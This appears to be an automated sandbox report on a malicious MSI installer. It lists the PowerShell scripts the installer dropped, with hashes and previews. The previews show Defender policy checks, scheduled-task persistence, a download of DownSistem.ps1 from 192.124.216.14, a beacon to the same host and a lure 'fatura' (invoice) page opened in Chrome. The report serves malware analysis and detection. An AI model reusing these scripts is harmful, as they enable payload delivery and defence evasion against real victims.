Preview:	..#. .P.a.r...m.e.t.r.o.s. .d.a. .t.a.r.e.f.a.....$.t.a.s.k.N.a.m.e. .=. .".P.a.s.t.a.".....$.t.a.s.k.A.c.t.i.o.n.P.a.t.h. .=. .".$.e.n.v.:.S.y.s.t.e.m.R.o.o.t.\.S.y.s.t.e.m.3.2.\.W.i.n.d.o.w.s.P.o.w.e.r.S.h.e.l.l.\.v.1...0.\.p.o.w.e.r.s.h.e.l.l...e.x.e.".....$.t.a.s.k.A.r.g.u.m.e.n.t.s. .=. .'.-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.N.o.P.r.o.f.i.l.e. .-.C.o.m.m.a.n.d. .".&. .{..... . . . .$.f.o.l.d.e.r.P.a.t.h. .=. .'.'.C.:.\.L.o.c.a.l.N.o.w.'.'..... . . . .$.l.o.o.p.C.o.m.p.l.e.t.e.d. .=. .$.f.a.l.s.e......... . . . .f.o.r. .(.$.i. .=. .0.;. .$.i. .-.l.t. .3.;. .$.i.+.+.). .{..... . . . . . . . .S.t.a.r.t.-.S.l.e.e.p. .-.S.e.c.o.n.d.s. .6.0..... . . . . . . . .#. .V.e.r.i.f.i.c.a. .a.s. .c.h.a.v.e.s. .d.o. .R.e.g.i.s.t.r.o..... . . . . . . . .$.k.e.y.P.a.t.h. .=. .'.'.H.K.L.M.:.\.S.O.F.T.W.A.R.E.\.P.o.l.i.c.i.e.s.\.M.i.c.r.o.s.o.f.t.\.W.i.n.d.o.w.s. .D.e.f.e.n.d.e.r.'.'..... . . . . . . . .$.d.i.s.a.b.l.e.A.n.t.i.S.p.y.w.a.r.e. .=. .(.G.e.t.-.I.t.e.m.P.r.o.p.e.r.t.y. .-.P.

C:\Users\user\AppData\Local\Temp\pss1566.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3931772175338692
Encrypted:	false
SSDEEP:	12:QilRKQ104H/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9e4H/vo3F1sQ54N8y3El4Zo
MD5:	1B252FFD2A05678902BF6A7863539047
SHA1:	212199783228600196B1A2A4FA8EFE84E077F7A6
SHA-256:	92B1F9F1F2988463F2F7461C6E0B2EF64856AFF138D573B6D9AF0144D037A7D3
SHA-512:	E81645B85E47344C46E1CA87A76BE3C7A29761F9E0419B027DC88DD730B391120B740993E69C50CC738F098FF8675275A8B69CCFAAEF0E9BB77AAA9596C26FB8
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.1.5.6.5...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss2A1D.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	330
Entropy (8bit):	3.4745351255831687
Encrypted:	false
SSDEEP:	6:Q6k88fvT8IRZQkAqmklOufaeNsqoQM3WJiscRoHuayl6uDuI:Qzdj8CZQOmGfd+qoQM3oivRoOnl60uI
MD5:	1552A674C1D8AC6BD836C82D2075C592
SHA1:	441DAE4F92C3494F4C664818D23435F63C9366AB
SHA-256:	4B0E855793B7E69CF5F32C24B25837B70D4234110738201E134F6AA687A5696E
SHA-512:	4C47E40BA4A21EE17E3EFF97D46786D7726C87D7799CC6D33EB1FEDDCB945894350C804F7D1FC9CB6FC4D2FF0B58A91BEBAE16E900486B56E1F1613130FEEB46
Malicious:	false
Preview:	..t.r.y. .{..... . . . ..... . . . .$.u.r.l. .=. .".h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.a.n.a./.i.n.d.e.x...p.h.p."......... . . . ..... . . . .I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .$.u.r.l. .-.M.e.t.h.o.d. .G.E.T. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e.....}. .c.a.t.c.h. .{..... . . . .....}.

C:\Users\user\AppData\Local\Temp\pss2A2E.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.38833850785645
Encrypted:	false
SSDEEP:	12:QilRKQ1WH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil94H/vo3F1sQ54N8y3El4Zo
MD5:	E265A93022D8E9B2ABA62254FBC97DC3
SHA1:	FD6C2D05C1A5CD683E6834B7C109743A88111DF0
SHA-256:	1EF999945D646EEF3BE217097CF56ADA10D52C73B9D92D98B9B029B9D5143469
SHA-512:	A5BD8433CB6B49379455748FC1827835BDDF8D6E2CC23A9E8A61DA0C88F49D977671ADCE741C24C653FD77BB9DF62A17454C6F75A5E34A7ECAA7CCE314370A8E
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.2.A.1.D...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss381C.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	676
Entropy (8bit):	3.5822261637654784
Encrypted:	false
SSDEEP:	12:QwlA07RmS2Wlv59lhubdpn+QHIl0R4bdaq568J4NJzZtHsKW02UQlUMMlWlhynbg:QwlA07wW1Tlhqdp+N0R4bAqk8JQJ1VsN
MD5:	A38B5B218081149CF44BD73AEC743C05
SHA1:	6C414FDC1A533AF5CF31675917EBBC9DC604AD18
SHA-256:	DEA813E9CF8FECCB42A1D5666898495C792F883C6312B6D0988F747854ABAEF2
SHA-512:	FA185B25DF469558D992097AB2FD655DAE95E539F0BF6C79B8BE8DF7F920C9CB6F9607A9A23B6F410B788EEAAB331CCC17AECB0501916DF3DDA39E99AC595EDC
Malicious:	false
Preview:	..#. .C.a.m.i.n.h.o. .p.a.r.a. .o. .G.o.o.g.l.e. .C.h.r.o.m.e. .(.a.j.u.s.t.e. .s.e. .n.e.c.e.s.s...r.i.o.).....$.c.h.r.o.m.e.P.a.t.h. .=. .".C.:.\.P.r.o.g.r.a.m. .F.i.l.e.s.\.G.o.o.g.l.e.\.C.h.r.o.m.e.\.A.p.p.l.i.c.a.t.i.o.n.\.c.h.r.o.m.e...e.x.e.".........#. .U.R.L. .q.u.e. .d.e.s.e.j.a. .a.b.r.i.r.....$.u.r.l. .=. .".h.t.t.p.s.:././.y.q.v.n.-.6.3.9.1.8.2.4.-.m.e.t.a.f.l.u.x.-.x.y.t.r.m.n.w.l.-.2.4.6...1.m.p.3...o.r.g./.f.a.t.u.r.a./.f.a.t.u.r.a...h.t.m.l.".........#. .A.b.r.e. .o. .G.o.o.g.l.e. .C.h.r.o.m.e. .c.o.m. .o. .l.i.n.k. .e.s.p.e.c.i.f.i.c.a.d.o.....S.t.a.r.t.-.P.r.o.c.e.s.s. .-.F.i.l.e.P.a.t.h. .$.c.h.r.o.m.e.P.a.t.h. .-.A.r.g.u.m.e.n.t.L.i.s.t. .$.u.r.l.

C:\Users\user\AppData\Local\Temp\pss381D.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3900319477517
Encrypted:	false
SSDEEP:	12:QilRKQ1UCH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9eCH/vo3F1sQ54N8y3El4Zo
MD5:	E1E0C190364A3A558F4A3351571F5724
SHA1:	C1DFE81B1B9911B5EDC28B0939C0AF34001155BE
SHA-256:	6DF5AD1BAADEBD3A1E7D52039159BD24ACDA0109F3C79EDB3FA3B1F685D9A1E6
SHA-512:	819ECCCE03C68C106E542487E9D056154E8B775AB5151E43FC29D6695F283A8BCCE168483F9A808F05D77F9A10E0D3B4A59635D234ED661E8FE90FB86A9B9FAA
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.3.8.1.C...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss4956.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1844
Entropy (8bit):	3.5474319755993102
Encrypted:	false
SSDEEP:	48:HEbgs+o6HtJy+CWTqUpkHGpzIM+iYwl+G+JAzeJRZYNTR0YhM:HEEkZWTqRKtYvJAzMZYNTHG
MD5:	9FD47BB0ACF03C5370046D80B2DCB92F
SHA1:	AE8934A2420D42BDDE50FE7B3BCAEBF27DBD304A
SHA-256:	30952F8ACADD218C5EB9F041C05D06DC7E6F72E6DAF4B7DE11B93FEC4C939620
SHA-512:	755019BC0184869F522F966C2C74BF2E73E84C30D861FF2EF089BE209A16842EA26C0D21EAA79551C030D1106D0A9FA18389183EAFF51EAF124950A45D862082
Malicious:	false
Preview:	..#. .v.e.r.i.f.i.c.a. .o. .d.f.....$.c.h.e.c.k.D.e.f.e.n.d.e.r.S.c.r.i.p.t. .=. .{..... . . . .i.f. .(.(.G.e.t.-.M.p.P.r.e.f.e.r.e.n.c.e.)...D.i.s.a.b.l.e.R.e.a.l.t.i.m.e.M.o.n.i.t.o.r.i.n.g. .-.e.q. .$.f.a.l.s.e.). .{..... . . . . . . . .S.t.a.r.t.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .'.A.T.D.'..... . . . .}. .....}.............$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.S.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.N.o.P.r.o.f.i.l.e. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.C.o.m.m.a.n.d. .&. .{.$.c.h.e.c.k.D.e.f.e.n.d.e.r.S.c.r.i.p.t.}.".............$.T.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.1.5.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .5.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.D.a.y.s. .3.0.0.).............$.P.r.i.n.c.i.p.a.l. .=. .N.

C:\Users\user\AppData\Local\Temp\pss4957.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3964030239854823
Encrypted:	false
SSDEEP:	12:QilRKQ1ghpH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9EpH/vo3F1sQ54N8y3El4Zo
MD5:	46B97AC9B515106C6DB0F7A367766A7F
SHA1:	B529CFDE1C3CCBC5E826E489CD85BB35E8273078
SHA-256:	B0C50E737EB44C027C32265617FB143AC27AA0CB7964549C680B7B86A0CDC9AD
SHA-512:	8EFE1E403F0BFA336B6E3F2D2D869D2D7FA16D81D97AA400AD546D4A628F5874F80D263F25A78A81BBC5342DE1805A0799E7FE07CE4EA901C448A6E07E17DEFE
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.4.9.5.6...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss63D7.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	4808
Entropy (8bit):	3.606117907741179
Encrypted:	false
SSDEEP:	96:MTqIp8j/fxnTIoZIbtYbJAzRVY5p8Bp8eorGbkYzn1qVUtY1JAzwa7Y5XpbF0:Mnk/fF9bB5Ur1mx1NFZ/0
MD5:	1A38B05522EFB8AC7E48555E08DE55D4
SHA1:	C5F496D3F6184150A495CDF0AB1C59393BC12D5C
SHA-256:	DE2844F0A7C5D97894010BA57B92007C5EC87AB512689EE27536CD0BEE1F77EA
SHA-512:	55ECD8C9B113CB0D3307D681C0A0073A3672CAAB2CE747007B7C11A96074832CFA7719B1E51B87BD29BF2B2EB38422DDA4A80C66CB7F8F6E1015A3BB77030A0C
Malicious:	false
Preview:	..#. .1... .C.o.n.f.i.g.u.r.a.....o. .d.o. .U.R.L. .e. .c.a.m.i.n.h.o. .d.o. .a.r.q.u.i.v.o.....$.s.c.r.i.p.t.U.r.l. .=. .".h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.v.d./.s.i.s./.D.o.w.n.S.i.s.t.e.m...p.s.1.".....$.s.c.r.i.p.t.P.a.t.h. .=. .".C.:.\.t.e.m.p.\.D.o.w.n.S.i.s.t.e.m...p.s.1.".........#. .2... .C.r.i.a.r. .t.a.r.e.f.a. .a.g.e.n.d.a.d.a. .p.a.r.a. .b.a.i.x.a.r. .o. .a.r.q.u.i.v.o. .D.o.w.n.S.i.s.t.e.m...p.s.1. .a.p...s. .2.0. .m.i.n.u.t.o.s.....$.d.o.w.n.l.o.a.d.C.o.m.m.a.n.d. .=. .@.".....i.f. .(.-.n.o.t. .(.T.e.s.t.-.P.a.t.h. .'.C.:.\.t.e.m.p.'.).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.r.e.c.t.o.r.y. .-.P.a.t.h. .'.C.:.\.t.e.m.p.'. .-.F.o.r.c.e. .\|. .O.u.t.-.N.u.l.l.....}.....t.r.y. .{..... . . . .I.n.v.o.k.e.-.W.e.b.R.e.q.u.e.s.t. .-.U.r.i. .'.h.t.t.p.:././.1.9.2...1.2.4...2.1.6...1.4./.v.d./.s.i.s./.D.o.w.n.S.i.s.t.e.m...p.s.1.'. .-.O.u.t.F.i.l.e. .'.C.:.\.t.e.m.p.\.D.o.w.n.S.i.s.t.e.m...p.s.1.'. .-.U.s.e.B.a.s.i.c.P.a.r.s.i.n.g..... . . . .W.r.i.t.

C:\Users\user\AppData\Local\Temp\pss63D8.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.3921730945517434
Encrypted:	false
SSDEEP:	12:QilRKQ1+H/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9AH/vo3F1sQ54N8y3El4Zo
MD5:	0CF0066CA1D4912218A891E5959AB2C3
SHA1:	A7D2D73FE494FABE9D551D72230230DC093B64A8
SHA-256:	38A6F685C07EF65530F2D84D26EA905E316ACA5B6AFDA0F1D2C0935E9F26263F
SHA-512:	C9522E734D16F06D0603642480A8D24C738D3412B61A4D033F384F27EBAB157AAF0F5A60E9E5CF80BE91E7ACA89D3EF72A8EFE4393CC9C4A3C7D1B556641776A
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.6.3.D.7...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss6668.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1432
Entropy (8bit):	3.5673020262078707
Encrypted:	false
SSDEEP:	24:QZoxiDtOzBS9YJMwUN6ODlQ6MwUMFJi+Mph+MVhBnqUp7kHMKMGIFg6MwUyUyxKj:tiULZOD7rFs+oh+CxqUpgHMpGi1s1UXu
MD5:	CB5BB8917908D375C22C12342748A581
SHA1:	1B43400B6F750A95F9E025F28AB086E3E6E98547
SHA-256:	E142C38A9D62CC3011C5BFBD38E3F36F4C9CDCA59E03607B5F906E4A10AC9E9C
SHA-512:	301C0B9AA643F2545FE2A60C0E44FE4887E6BE6B013E8E4854287F56F0A0008E0891FB1BD871E961E47DD5F7A8A447B74378BF4531C978834B9E8E6DA623676C
Malicious:	false
Preview:	......$.t.a.s.k.N.a.m.e. .=. .".e.x.e.0.1.a.a.".....$.e.x.e.P.a.t.h. .=. .".C.:.\.L.o.c.a.l.N.o.w.\.E.x.t.r.a.c.t.e.d.\.0.1.a.a...e.x.e.".....$.u.s.e.r. .=. .".$.e.n.v.:.U.S.E.R.N.A.M.E.". . .............i.f. .(.G.e.t.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .$.t.a.s.k.N.a.m.e. .-.E.r.r.o.r.A.c.t.i.o.n. .S.i.l.e.n.t.l.y.C.o.n.t.i.n.u.e.). .{..... . . . .U.n.r.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .$.t.a.s.k.N.a.m.e. .-.C.o.n.f.i.r.m.:.$.f.a.l.s.e.....}.............$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".$.e.x.e.P.a.t.h.".............$.t.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.2.5.). .-.R.e.p.e.t.i.t.i.o.n.I.n.t.e.r.v.a.l. .(.N.e.w.-.T.i.m.e.S.p.a.n. .-.M.i.n.u.t.e.s. .1.). .-.R.e.p.e.t.i.t.i.o.n.D.u.r.a.t.i.o.n. .(.[.t.i.m.e.s.p.a.n.].:.:.F.r.o.m.D.a.y.s.(.5.0.0.0.0.).).............R.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.

C:\Users\user\AppData\Local\Temp\pss6678.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1240
Entropy (8bit):	2.392568437290189
Encrypted:	false
SSDEEP:	12:QilRKQ1mH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9YH/vo3F1sQ54N8y3El4Zo
MD5:	2C5641862D3AC897B43BCBD9AB397B35
SHA1:	6F4CCEAFA9A4795DF7C36AAB0A4588E5DB7F8405
SHA-256:	8F51357EB68B1111F735F19D4E1C4A0F56CB28FB7F6A7E10C64F3B2D832A9089
SHA-512:	DF62824F828C32176002C08BCEA456C4FA48EFC18B906151994215B5CCA5AC53F8D8EC8D972A83CA2E9719CC36933CED7F645A1CF1846E6E5A0E73312500F222
Malicious:	false
Preview:	..t.r.y. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .&.".C.:.\.U.s.e.r.s.\.j.o.n.e.s.\.A.p.p.D.a.t.a.\.L.o.c.a.l.\.T.e.m.p.\.p.s.s.6.6.6.8...p.s.1.". . . . . . ..... . . . . . .i.f. .(.$.L.a.s.t.E.x.i.t.C.o.d.e. .-.n.e. .$.n.u.l.l.). .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . . .e.x.i.t. .$.L.a.s.t.E.x.i.t.C.o.d.e.;. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .}. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . .c.a.t.c.h. .{. . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . . ..... . . . . . . .W.r.i.t.e.-.E.r.r.o.r. .".C.a.u.

C:\Users\user\AppData\Local\Temp\pss81F.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with very long lines (316), with CRLF line terminators
Category:	dropped
Size (bytes):	13212
Entropy (8bit):	3.6473609614535776
Encrypted:	false
SSDEEP:	192:C59oEmSJR7ko1XzuvylVu+OTYodKqIz5os8VjMGuFNuerc:MKSvYorOBlkGjM+l
MD5:	4727BDB5BA30683027F2F744B8AA693E
SHA1:	405815263711EAFC75B205049E1E3E95A3CF9439
SHA-256:	0F75EEC57B140F5096F2BCBFFDA9448B6267B2E6EFA6EC3869F613F6836C3A10
SHA-512:	458666BAC71AEAEFB9A56056071132E203C5DF343046D4C29E3EF611CAEB234F12E700DD90C2A1DD2B42F63EFA987BFA1F01CF097DA69905FEAA148A81AD3821
Malicious:	false
Preview:	..#. .t.l.....$.a.c.t.i.o.n. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.A.c.t.i.o.n. .-.E.x.e.c.u.t.e. .".P.o.w.e.r.s.h.e.l.l...e.x.e.". .-.A.r.g.u.m.e.n.t. .".-.W.i.n.d.o.w.S.t.y.l.e. .H.i.d.d.e.n. .-.E.x.e.c.u.t.i.o.n.P.o.l.i.c.y. .B.y.p.a.s.s. .-.F.i.l.e. .C.:.\.t.e.m.p.\.S.h.o.w.U.p.d.a.t.e.S.c.r.e.e.n...p.s.1.".....$.t.r.i.g.g.e.r. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k.T.r.i.g.g.e.r. .-.O.n.c.e. .-.A.t. .(.G.e.t.-.D.a.t.e.)...A.d.d.M.i.n.u.t.e.s.(.1.0.).....$.t.a.s.k. .=. .N.e.w.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.A.c.t.i.o.n. .$.a.c.t.i.o.n. .-.T.r.i.g.g.e.r. .$.t.r.i.g.g.e.r.............R.e.g.i.s.t.e.r.-.S.c.h.e.d.u.l.e.d.T.a.s.k. .-.T.a.s.k.N.a.m.e. .".A.T.D.". .-.I.n.p.u.t.O.b.j.e.c.t. .$.t.a.s.k.............$.t.e.m.p.F.o.l.d.e.r. .=. .".C.:.\.t.e.m.p.".........#. .V.e.r.i.f.i.c.a.r. .e. .c.r.i.a.r. .a. .p.a.s.t.a. .T.E.M.P.,. .s.e. .n.e.c.e.s.s...r.i.o.....i.f. .(.!.(.T.e.s.t.-.P.a.t.h. .-.P.a.t.h. .$.t.e.m.p.F.o.l.d.e.r.).). .{..... . . . .N.e.w.-.I.t.e.m. .-.I.t.e.m.T.y.p.e. .D.i.

C:\Users\user\AppData\Local\Temp\pss82F.ps1

Download File

Process:	C:\Windows\SysWOW64\msiexec.exe
File Type:	Unicode text, UTF-16, little-endian text, with CRLF line terminators
Category:	dropped
Size (bytes):	1238
Entropy (8bit):	2.3883843002406526
Encrypted:	false
SSDEEP:	12:QilRKQ1WEH/vo3F138Q53IsFmlIDy3El4YLsKOo:Qil9YEH/vo3F1sQ54N8y3El4Zo
MD5:	84FBB5603EEED9A71C77166843690AB9
SHA1:	0E5B1EEDCDB15F5EEFFA9592652B2448C9B7AA62
SHA-256:	575F8563941E70F74F677FADA34F6299195250E61B7C88AA6CF844BEB86740B2
SHA-512:	648C6D1877A5A445EC3092542D3A003B52C4657254608B6A1AA3226E9F5BAAD56CBA681BE0E4BCF3E881F351A7CE7FA098E29EA9E9E02E36432B5E236E2CE44E
Malicious:	true
